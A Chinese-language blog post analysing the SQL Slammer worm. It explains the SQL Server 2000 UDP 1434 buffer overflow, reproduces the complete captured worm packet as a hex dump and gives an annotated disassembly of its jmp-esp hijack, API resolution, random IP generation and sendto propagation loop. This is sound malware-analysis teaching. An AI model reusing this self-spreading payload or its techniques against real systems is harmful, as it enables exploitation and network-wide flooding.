文章目录
简介
网络安全其实并不是我做的比较多的方向,所以对于病毒的研究也只是皮毛。不过这里公开一下对于SQLslammer的代码分析,其中借鉴了不少,并且自己也对汇编代码进行了更加清晰的解释,我相信即使你不熟悉汇编看了我的标注也可以明白程序逻辑。
甚至说不定你对汇编还变得更加熟练了。哈哈~~
SQL slammer
Microsoft SQL Server 2000支持在单个物理主机上提供多个SQL服务器的实例,在对每个实例操作时,都可以将其看作是一个单独的服务器。不过多个实例不能全部使用标准SQL服务会话会话端口(TCP 1433),所以SQL Server Resolution服务操作监听在UDP 1434端口,提供一种使客户端查询适当的网络终端用于特殊的SQL服务实例的途径。
当SQL Server Resolution服务在UDP1434端口接收到第一个字节设置为0x04的UDP包时,SQL监视线程会获取UDP包中的数据并使用此用户提供的信息来尝试打开注册表中的某一键值。如发送\x04\x41\x41\x41\x41类似的UDP包,SQL服务程序就会打开如下注册表键:HKLM\Software\Microsoft\Microsoft SQL Server\AAAA\MSSQLServer\CurrentVersion。
攻击者可以通过在这个UDP包后追加大量字符串数据,当尝试打开这个字符串相对应的键值时,会发生基于栈的缓冲区溢出。通过包含“jmp esp”或者“call esp”指令的地址覆盖栈中保存的返回地址,可导致以SQL Server进程的权限在系统中执行任意指令。蠕虫溢出成功取得系统控制权后,就开始向随机IP地址发送自身,由于这是一个死循环的过程,发包密度仅和机器性能和网络带宽有关,所以发送的数据量非常大。
在实际的测试中发现,如果在同一网段中有一台机器中了SQL蠕虫王,该网段中的每一台机器每秒钟都可以收到近千个UDP数据包。该蠕虫对被感染机器本身并没有进行任何恶意破坏,它仅存在内存之中,不会向硬盘上写文件。因此对于感染的系统,重新启动后就可以清除该蠕虫,但是如果不及时打上补丁,仍然会重复感染。由于发送数据包占用了大量系统资源和网络带宽,形成UDP Flood,因此感染了该蠕虫的网络性能会极剧下降。一个百兆网络内只要有一两台机器感染该蠕虫就会导致整个网络访问阻塞。
分析
首先我们看一下slammer的数据:
00000028h: 01 00 5E 31 7F D5 00 05 5D 61 48 6B 08 00 45 00 ; …^1?.]aHk…E.
00000038h: 01 94 8F 3A 00 00 01 11 91 14 CA 72 6A 11 E3 B1 ; .攺:…?蕆j.惚
00000048h: 7F D5 0D F9 05 9A 01 80 8F 47 04 01 01 01 01 01 ; ???€廏…
00000058h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000068h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000078h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000088h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000098h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
000000a8h: 01 01 01 01 01 01 01 01 01 01 01 DC C9 B0 42 EB ; …苌癇?
000000b8h: 0E 01 01 01 01 01 01 01 70 AE 42 01 70 AE 42 90 ; …p瓸.p瓸?
000000c8h: 90 90 90 90 90 90 90 68 DC C9 B0 42 B8 01 01 01 ; 悙悙悙恏苌癇?..
000000d8h: 01 31 C9 B1 18 50 E2 FD 35 01 01 01 05 50 89 E5 ; .1杀.P恺5…P夊
000000e8h: 51 68 2E 64 6C 6C 68 65 6C 33 32 68 6B 65 72 6E ; Qh.dllhel32hkern
000000f8h: 51 68 6F 75 6E 74 68 69 63 6B 43 68 47 65 74 54 ; QhounthickChGetT
00000108h: 66 B9 6C 6C 51 68 33 32 2E 64 68 77 73 32 5F 66 ; f筶lQh32.dhws2_f
00000118h: B9 65 74 51 68 73 6F 63 6B 66 B9 74 6F 51 68 73 ; 筫tQhsockf箃oQhs
00000128h: 65 6E 64 BE 18 10 AE 42 8D 45 D4 50 FF 16 50 8D ; end?.瓸岴訮.P?
00000138h: 45 E0 50 8D 45 F0 50 FF 16 50 BE 10 10 AE 42 8B ; E郟岴餚.P?.瓸?
00000148h: 1E 8B 03 3D 55 8B EC 51 74 05 BE 1C 10 AE 42 FF ; .?=U嬱Qt.?.瓸
00000158h: 16 FF D0 31 C9 51 51 50 81 F1 03 01 04 9B 81 F1 ; .?蒕QP侎…泚?
00000168h: 01 01 01 01 51 8D 45 CC 50 8B 45 C0 50 FF 16 6A ; …Q岴蘌婨繮.j
00000178h: 11 6A 02 6A 02 FF D0 50 8D 45 C4 50 8B 45 C0 50 ; .j.j.蠵岴腜婨繮
00000188h: FF 16 89 C6 09 DB 81 F3 3C 61 D9 FF 8B 45 B4 8D ; .壠.蹃?a?婨磵
00000198h: 0C 40 8D 14 88 C1 E2 04 01 C2 C1 E2 08 29 C2 8D ; .@?埩?.铝?)聧
000001a8h: 04 90 01 D8 89 45 B4 6A 10 8D 45 B0 50 31 C9 51 ; .?貕E磈.岴癙1蒕
000001b8h: 66 81 F1 78 01 51 8D 45 03 50 8B 45 AC 50 FF D6 ; f侎x.Q岴.P婨琍?
000001c8h: EB CA
这是通过抓包得到数据,是一个完整的UDP数据包。
前十四个字节是数据帧的帧头。第二个加粗的的八个字节是UDP报头。而中间的20个字节是IP头部。从04之后的376字节是slammer的功能部分。
汇编
该蠕虫由被攻击机器中的sqlsort.dll存在的缓冲区溢出漏洞进行攻击,获得控制权。随后分别从kernel32.dll以及ws2_32.dll中获得GetTickCount函数和socket以及sendto函数地址。紧接着调用 GetTickCount函数,利用其返回值产生一个随机数种子,并用此种子产生一个IP地址作为攻击对象;随后创建一个UDP socket,将自身代码发送到目标IP的1434端口,随后进入一个无限循环中,重复上述产生随机IP地址、发送攻击包等一系列动作。
上面代码的前一部分,它构造了一个缓冲区溢出的数据包。其中DC C9 B0 42部分是被替换的返回地址, 而该地址0x42B0C9DC是指向sqlsort.dll中的一条指令jmp esp,因此当处理数据包的函数RET指令返回时,ESP正好指向EB 0E(JMP $+0x0E),其执行时会马上跳到90处开始执行,一串空指令后,便开始病毒正式代码的执行。
00401000 EB0E jmp loc_00401010
00401002 0101 add [ecx],eax
00401004 0101 add [ecx],eax
00401006 0101 add [ecx],eax
00401008 0170AE add [eax-52h],esi
0040100B 42 inc edx
0040100C 0170AE add [eax-52h],esi
0040100F 42 inc edx
以上主要是初始化部分,并没有实际的功能。
00401010 loc_00401010:
00401010 90 nop
00401011 90 nop
00401012 90 nop
00401013 90 nop
00401014 90 nop
00401015 90 nop
00401016 90 nop
00401017 90 nop
以下是主要的功能模块。
开始重新写回包中损坏的数据,这里注意是小段存储,另外可以和上部分的数据进行对照。
压栈
00401018 68DCC9B042 push 42B0C9DCh ;
将1010101赋给eax寄存器,这里大家对照数据来看,是为了进行重新填充数据。
0040101D B801010101 mov eax,1010101h
xor 异或清零ecx
00401022 31C9 xor ecx,ecx
这里cl寄存器是关键,他是一个16位寄存器,和loop指令组合使用,可以简单理解为cl中表示的是loop循环的次数。
00401024 B118 mov cl,18h ;往堆栈中压入60H个01
00401026 loc_00401026:
00401026 50 push eax
00401027 E2FD loop loc_00401026
这里进行loop 执行18H次的push eax, 大家对照上一部分的数据就可以知道为什么这么写了。
00401029 3501010105 xor eax,5010101h ;
此时eax = 1010101 然后执行异或就得到了,此时eax=04000000
0040102E 50 push eax
0040102F 89E5 mov ebp,esp;
此时ebp+3指向字节04
此时整个包已经重新构造完毕,和高地址字节形成蠕虫将要发送的包的内容
这里需要注意一下,由于执行了mov ebp,esp,所以此时相当于ebp被重置了。后面的压栈操作就重新冲ebp开始计数了。
这里重要是因为决定我们后面如何根据基址来调用堆栈中的数据。
00401031 51 push ecx
00401032 682E646C6C push 6C6C642Eh
00401037 68656C3332 push 32336C65h
0040103C 686B65726E push 6E72656Bh ;kernel32.dll字串进栈
这里我们记下kernel32.dll的地址, ebp+10h
00401041 51 push ecx
00401042 686F756E74 push 746E756Fh
00401047 6869636B43 push 436B6369h
0040104C 6847657454 push 54746547h ;GetTickCount函数名字串入栈
同理得到GTC函数的地址:ebp+20H
00401051 66B96C6C mov cx,6C6Ch
00401055 51 push ecx
00401056 6833322E64 push 642E3233h
0040105B 687773325F push 5F327377h ;ws2_32.dll字串入栈
00401060 66B96574 mov cx,7465h
00401064 51 push ecx
00401065 68736F636B push 6B636F73h ;socket函数名字符串进栈
0040106A 66B9746F mov cx,6F74h
0040106E 51 push ecx
0040106F 6873656E64 push 646E6573h ;sendto函数名字符串入栈
00401074 BE1810AE42 mov esi,42AE1018h
;从IAT中直接获得Loadlibrary的函数地址
00401079 8D45D4 lea eax,[ebp-2Ch] ;即字串ws2_32.dll的开始位置
0040107C 50 push eax
;上面的dll串首址进栈,Loadlibrary函数的参数
0040107D FF16 call dword ptr [esi] ;调用Loadlibrary函数
0040107F 50 push eax;将ws2_32.dll的模块地址压入堆栈
00401080 8D45E0 lea eax,[ebp-20h]
;得到GetTickCount函数名字符串首地址
00401083 50 push eax
;首地址入堆栈,作为后面GetProcAddress的参数
00401084 8D45F0 lea eax,[ebp-10h] ;获得kernel32.dll字串首地址
00401087 50 push eax ;kernel32.dll字串首地址入栈
00401088 FF16 call dword ptr [esi] ;调用Loadlibrary函数
0040108A 50 push eax
;kernel32.dll模块地址入栈,作为后面GetProcAddress的参数
0040108B BE1010AE42 mov esi,42AE1010h ;从IAT中获得GetProcAddress函数地址
00401090 8B1E mov ebx,[esi]
00401092 8B03 mov eax,[ebx]
00401094 3D558BEC51 cmp eax,51EC8B55h
;判断是否取用了GetProcAddress真正地址
00401099 7405 jz loc_004010A0
0040109B BE1C10AE42 mov esi,42AE101Ch
;从IAT中获得GetProcAddress真正地址的存放地址
004010A0 loc_004010A0:
004010A0 FF16 call dword ptr [esi]
;调用GetProcAddress,获得GetTickCount函数地址
004010A2 FFD0 call eax ;调用GetTickCount函数
004010A4 31C9 xor ecx,ecx
004010A6 51 push ecx
004010A7 51 push ecx
004010A8 50 push eax ;eax为通过GetTickCount获得的随机数
004010A9 81F10301049B xor ecx,9B040103h
004010AF 81F101010101 xor ecx,1010101h
004010B5 51 push ecx
;exc:9A050002 =〉port 1434(59AH) / AF_INET(02)
004010B6 8D45CC lea eax,[ebp-34h] ;获得socket函数名字串首地址
004010B9 50 push eax ;参数入栈
004010BA 8B45C0 mov eax,[ebp-40h] ;ws2_32.dll的模块基地址
004010BD 50 push eax ;参数入栈
004010BE FF16 call dword ptr [esi] ;调用GetProcAddress函数
004010C0 6A11 push 11h ;参数protocol,此时无意义
004010C2 6A02 push 2
;参数type,SOCK_DGRAM,数据报套接字,使用UDP协议
004010C4 6A02 push 2 ;AF_INET,套接字的地址格式
004010C6 FFD0 call eax ;调用socket函数
004010C8 50 push eax ;返回的套接字句柄进栈
004010C9 8D45C4 lea eax,[ebp-3Ch] ;sendto函数名字串首址
004010CC 50 push eax
004010CD 8B45C0 mov eax,[ebp-40h] ;ws2_32.dll的模块基地址
004010D0 50 push eax
004010D1 FF16 call dword ptr [esi] ;调用GetProcAddress函数
004010D3 89C6 mov esi,eax ;得到sendto函数地址
004010D5 09DB or ebx,ebx
004010D7 81F33C61D9FF xor ebx,0FFD9613Ch
004010DD loc_004010DD:
004010DD 8B45B4 mov eax,[ebp-4Ch]
;上面GetTickCount函数得到的随机数放到eax中,作为IP变换的随机数种子
004010E0 8D0C40 lea ecx,[eax+eax*2];这里开始进行运算,得到随机IP
004010E3 8D1488 lea edx,[eax+ecx*4]
004010E6 C1E204 shl edx,4
004010E9 01C2 add edx,eax
004010EB C1E208 shl edx,8
004010EE 29C2 sub edx,eax
004010F0 8D0490 lea eax,[eax+edx*4]
004010F3 01D8 add eax,ebx
004010F5 8945B4 mov [ebp-4Ch],eax;保存得到的随机IP,作为下一个IP生成函数的输入
004010F8 6A10 push 10h ;目标Socket结构长度16个字节
004010FA 8D45B0 lea eax,[ebp-50h]
004010FD 50 push eax ;目标Socket结构首地址
004010FE 31C9 xor ecx,ecx
00401100 51 push ecx ;flags
00401101 6681F17801 xor cx,178h ;要发送的数据长度:376字节
00401106 51 push ecx
00401107 8D4503 lea eax,[ebp+3]
0040110A 50 push eax ;要发送数据的缓冲区首址
0040110B 8B45AC mov eax,[ebp-54h]
0040110E 50 push eax ;套接字句炳
0040110F FFD6 call esi ;调用sendto函数往目标IP发送数据
00401111 EBCA jmp loc_004010DD
欢迎指正,大家共勉~~